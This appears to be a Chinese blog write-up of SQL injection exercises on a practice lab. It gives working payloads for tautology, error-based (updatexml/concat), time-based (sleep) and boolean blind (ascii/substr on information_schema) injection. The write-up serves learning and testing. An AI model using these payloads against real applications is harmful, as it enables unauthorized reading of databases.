一对儿程序猿 2020-01-23
这里因为实验的时候只记录了一部分所以就展示一部分
(1)看到界面发现是查询id功能,没有在url里看到有传参所以应该是post方法提交数据。
(2)进行sql注入之前我们最好是先想像一下这个功能提交的参数到了后台之后后台是怎样的操作的,对于当前的页面我猜测后台是这样操作
现接受我的id请求然后带入到查询语句
$id=$_POST[‘id‘]
select 字段1,字段2 from 表名 where id = $id
可以用下面的语句添加在等号后面来测试是否真确(post请求通过抓包的方式来进行测试)
1 or 1=1;
可以看到返回的是200
然后查看返回的结果可以看到把所有的结果都查询出来了。所以有漏洞并且是数字型的
查看页面发现是get请求
(1)首先也是猜想后台进行的操作,因为是查询名字,先将我们查询的数值赋给一个变量
$uname=$_GET[‘username‘]
select 字段1,字段2 from 表名 where username=‘$uname ‘ or 1=1#‘;
or = 1=1#验证漏洞是否存在,#号注释闭合‘’
测试结果
(1)搜索型
看到界面是用户名查找我首先还是进行猜测后台的操作,猜测后台可能使用的是mysql的搜索功能,mysql查询语句
Select * from member where username like ’$$’;
对于我们渗透者来时要进行一个闭合构造
Payload:xxxx%‘ or 1=1 #
测试结果
(2)xx型
查看页面发现与搜索型类似,但是测试发现拼接闭合的语句不同,查看源码发现是括号闭合,所以可以得到payload的类型是多种多样的。
原理方法与搜索型类似,所以构造payload
xx‘) or 1=1 #
但实际渗透测试过程中不可能得到目标网站的源码,这时候就需要根据经验和多测试。比如发现一个输入框,就首先进行单双引号测试
aaa” or 1=1# 或者 aaa’or 1=1#等等等。
主要是通过输入来看返回,来看我们的输入有没有参与到数据库后台的运算里面.
(1)insert
看到界面发现是注册猜测后台数据库操作应该是insert命令,我们点击注册,我们先进行单引号测试
提交发现出现错误意味着提交的语法在后台参与了操作。
然后我们得知道mysqlinsert语句的用法
Insert into member(username,pw,sex,phonenum,email,address)values(‘xxxxxxxx’11111,1,2,3,4);
要构造闭合首先在我们可以输入的部分就是‘xxxx’里插入报错函数
Updatexml()
kobe‘ and updatexml(1,version(),0)#
updataxml(是mysql对xml文档函数进行出巡和修改的Xpath函数)
函数有三个参数第一个数指定xml文档表的字段名称,第二个是指定要替换的位置,第三个是新的值,但这三个值都是错误的。
第一个是不存在的,最后一个0因为前面的是不存在的所以替换也是没有意义的。关键是中间的数值,中间的数值也可以用表达式的形式,函数会把这个表达式执行了然后以报错的形式返回出来。
测试
发现没有返回完整的版本号信息,这里因为我们没有进行处理。
这里我们对函数进行处理加入concat函数意思是将传进去的参数组合成一个字符串打印出来,concat也可以执行表达式也就是将 0x7e和version()结果组合成一个字符串打印出来
kobe‘ and updatexml(1,concat(0x7e,version()),0)#
kobe‘ and updatexml(1,concat(0x7e,database()),0)#
0x7e是~号的十六进制
测试:
xiaohong‘ or updatexml(1,concat(0x7e,database()),0) or ‘
发现成功返回报错打印数据库名称
(2)update
首先登陆之后发现可以修改个人信息
Update语法与insert差不多我们将之前的palyload输入
xiaohong‘ or updatexml(1,concat(0x7e,database()),0) or ‘
提交测试:
发现一样可以返回报错
首先看到界面有请求和删除功能我们点击删除,之后再burp上查看
猜测因为对于后台来说其实就是获取了id,然后进行删除操作,所以我们就对id进行操作,还是使用之前的updatexml函数构造payload
1 or updatexml(1,concat(0x7e,database()),0)
将payload带入burp里面,因为参数是url类型进行提交的所以要进行URL编码
可以看到空格都变成了+号
最后看返回
成功报错。
Base time注入输入单引号不会返回报错,一般方法也不会返回报错,
这时候我们猜测是否为base time 的注入
先打开控制台f12选择网络
然后输入payload:kobe‘ and sleep(5)#
发现执行了我们的语句延迟五秒,证明存在base time的注入
然后就可以构造我们的payload
kobe‘ and if((substr(database(),1,1))=‘a‘,sleep(5),null)#
通过一个if语句让数据库名称的第一个字符与a进行比较,如果一样就会暂停五秒,如果不等于就为假不暂停。
然后就慢慢进行尝试
1.基于boolean的与基于time的一样,用之前的方法都不会返回报错。
2.不管是输入正确,还是输入错误,都只显示两种情况(可以认为是0或者1)
3.在输入正确的情况下,输入and1=1/and1=2发现可以判断
测试,通过输入正确的名字加上我们的语句and 1=1#发现,也成功返回信息。
然后输入kobe‘ and 1=2#,发现有报错,判定是存在sql注入的,但是前端返回信息特别少。用我之前的报错函数payload输入也不能获得报错。怎么办呢。
办法总比困难多
这里我们使用一个这里substr函数,先了解什么是substr函数
Select substr(database(),1,1);
意思是使用取出数据库名称的第一个字符一次取出一个。
那我们如何知道要猜的名称长度,这里再用一个函数,length获得长度,但是基于boolean函数的只能返回真假所以
Length(database())>8,通过这种方式来猜,
(1)测试payload
kobe‘ and ascii(substr(database(),1,1))>113#
前面为真如果and后面也为真就会返回kobe的信息,根据真假来判断我们的猜测
先去猜测数据库第一个字符的ascii码大于113
返回为假
再次猜测
kobe‘ and ascii(substr(database(),1,1))=112#
返回为真。
现在进行进一步构造payload
将database()替换为查找数据库里第一个表的表名,之后再去一个个判断字符
kobe‘ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#
返回为真,说明数据库第一个表的表名的第一个字符的ASCII码小于112,然后以此类推就可以猜到完整的。
手工盲注效率还是很慢,所以我们只需要搞懂原理,在实际测试的过程中还是需要自动化的工具,例如sqlmap之类的,由于之前测试的时候没有记录,这里就不演示了。